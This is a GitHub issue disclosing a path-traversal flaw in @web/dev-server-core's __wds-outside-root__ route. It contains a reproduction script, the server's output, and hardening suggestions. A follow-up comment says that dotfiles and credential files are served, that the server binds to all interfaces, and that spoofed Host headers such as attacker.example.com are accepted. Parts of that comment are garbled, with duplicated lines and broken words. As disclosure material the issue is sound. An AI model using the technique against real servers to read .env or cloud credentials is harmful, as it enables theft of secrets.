Repository navigation
Question: should __wds-outside-root__ allow direct HTTP reads from arbitrary rootDir parents? #3117
Description
Hi maintainers,
I found that @web/dev-server-core can serve files from parent directories of the configured rootDir through direct requests to the __wds-outside-root__ route.
I understand that serving files outside rootDir may be an intentional feature for monorepos, symlinks, or files imported from outside the project root. My concern is narrower: the current implementation appears to let any HTTP client choose the parent-directory depth directly in the URL, without checking whether that outside-root path was generated by the dev server or explicitly allowed.
Summary
@web/dev-server-core@0.7.5 exposes a route under:
/__wds-outside-root__/<depth>/<path>
The <depth> component is taken from the request path and used to move the static file root upward from the configured rootDir. A direct request can therefore read files from rootDir parent directories.
If this behavior is fully intentional, feel free to close this as expected behavior. If outside-root serving is intended only for server-generated URLs or explicitly known files, this may be worth tightening.
Affected version
Tested version:
@web/dev-server-core@0.7.5
This is the latest npm version I tested.
Relevant code
In packages/dev-server-core/src/middleware/serveFilesMiddleware.ts, requests whose path starts with __wds-outside-root__ are handled by resolving a custom root directory and passing it to koa-send:
const serveCustomRootDirMiddleware: Middleware = async (ctx, next) => {
if (isOutsideRootDir(ctx.path)) {
const { normalizedPath, newRootDir } = resolvePathOutsideRootDir(ctx.path, rootDir);
await send(ctx, normalizedPath, { ...koaStaticOptions, root: newRootDir });
return;
}
return next();
};Relevant source:
packages/dev-server-core/src/middleware/serveFilesMiddleware.ts:22-25
The custom root directory is calculated in packages/dev-server-core/src/utils.ts:
export function resolvePathOutsideRootDir(browserPath: string, rootDir: string) {
const [, , depthString] = browserPath.split('/');
const depth = Number(depthString);
if (depth == null || Number.isNaN(depth)) {
throw new Error(`Invalid wds-root-dir path: ${path}`);
}
const normalizedPath = browserPath.replace(`${OUTSIDE_ROOT_KEY}${depth}`, '');
const newRootDir = path.resolve(rootDir, `..${path.sep}`.repeat(depth));
return { normalizedPath, newRootDir };
}Relevant source:
packages/dev-server-core/src/utils.ts:126-136
The concern is that depth is request-controlled. For example, if rootDir is:
/tmp/project/root
then this request:
/__wds-outside-root__/1/secret.txt
uses /tmp/project as the new static root and serves:
/tmp/project/secret.txt
Reproduction
set -eu
rm -rf /tmp/web-dev-server-core-poc
mkdir -p /tmp/web-dev-server-core-poc
cd /tmp/web-dev-server-core-poc
npm init -y >/dev/null
npm install @web/dev-server-core@0.7.5 >/dev/null
node - <<'NODE'
const { DevServer } = require("@web/dev-server-core");
const fs = require("fs");
const os = require("os");
const path = require("path");
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
(async () => {
const base = fs.mkdtempSync(path.join(os.tmpdir(), "wds-pt-"));
const root = path.join(base, "root");
fs.mkdirSync(root);
fs.writeFileSync(path.join(base, "secret.txt"), "SECRET_FROM_PARENT");
fs.writeFileSync(path.join(root, "index.html"), "ROOT_INDEX");
const server = new DevServer(
{
rootDir: root,
port: 8124,
hostname: "127.0.0.1",
middleware: [],
plugins: []
},
console
);
await server.start();
await sleep(300);
const url = "http://127.0.0.1:8124/__wds-outside-root__/1/secret.txt";
const response = await fetch(url);
console.log("status:", response.status);
console.log("body:", await response.text());
await server.stop();
})();
NODEObserved output:
Receiving request: /__wds-outside-root__/1/secret.txt
Responding to request: /__wds-outside-root__/1/secret.txt with status 200
status: 200
body: SECRET_FROM_PARENT
The file is outside the configured rootDir, but a direct HTTP request can still retrieve it.
Why this might matter
If the dev server is reachable by another local process, a browser, a malicious web page through localhost requests, or a network peer when bound more broadly, direct access to parent directories may expose files that the project did not intend to serve.
The practical impact depends on where rootDir is located. For example, for a nested project root such as:
/home/user/project/app
the route can expose files under:
/home/user/project
and larger depth values can move higher up the filesystem tree.
Possible hardening
If direct arbitrary outside-root reads are not intended, possible mitigations could include:
- Only allowing outside-root URLs generated by the dev server for known files.
- Keeping an allowlist/map of explicitly permitted outside-root directories.
- Rejecting request-controlled depths that do not correspond to an approved outside-root path.
- Resolving the final file path and enforcing containment against an approved root using
path.relative(). - Returning 403/404 for direct
__wds-outside-root__requests that were not generated by an internal resolution step.
Thanks for taking a look.
Activity
sevesiz commentedon Oct 25, 2026
Confirming this still reproduces on the current release, and adding two details that
affect the impact assessment.
Still present in
@web/dev-server-core@1.0.1(via@web/dev-server@1.0.0).1. Dotfiles are served, so credential files are in scope
serveFilesMiddleware.tspasseshidden: truetokoa-send, so dotfiles are notexcluded:
serveFilesMiddleware.tspasseshidden: truetokoa-send, so dotfiles are notexcluded:
Combined with the request-controlled depth, files such as
.env,.npmrcor.aws/credentialsaboverootDirare retrintinel.envplaced one level aboverootDir:This moves the impact from "project files above the root" to "credentials".
2.
hostname: 'localhost'binds to allThe report above mentions "a network peer when bound more broadly". In practice the
server also listens broadly when it is confistart()
deliberately passeshost: undefined` for loopback hostnames:Node then binds to all interfaces. With
hostname: 'localhost'configured:So a dev server that looks loopback-only in its config is reachable from the local
network, and the outside-root route is reachable along with it.
There is also no
HostorOriginvalidation on these requests — a request carryingHost: attacker.example.comis answered with 200 — which is the usual preconditionfor a DNS-rebinding path from a browser.
Prior art for the class
The comparable issue has been treated as a vulnerability elsewhere:
webpack-dev-server CVE-2026-14620 (missing origin check; notably it does not return
file contents) and
@vitest/mockerCVE-2026-84373 (file disclosure through the devserver).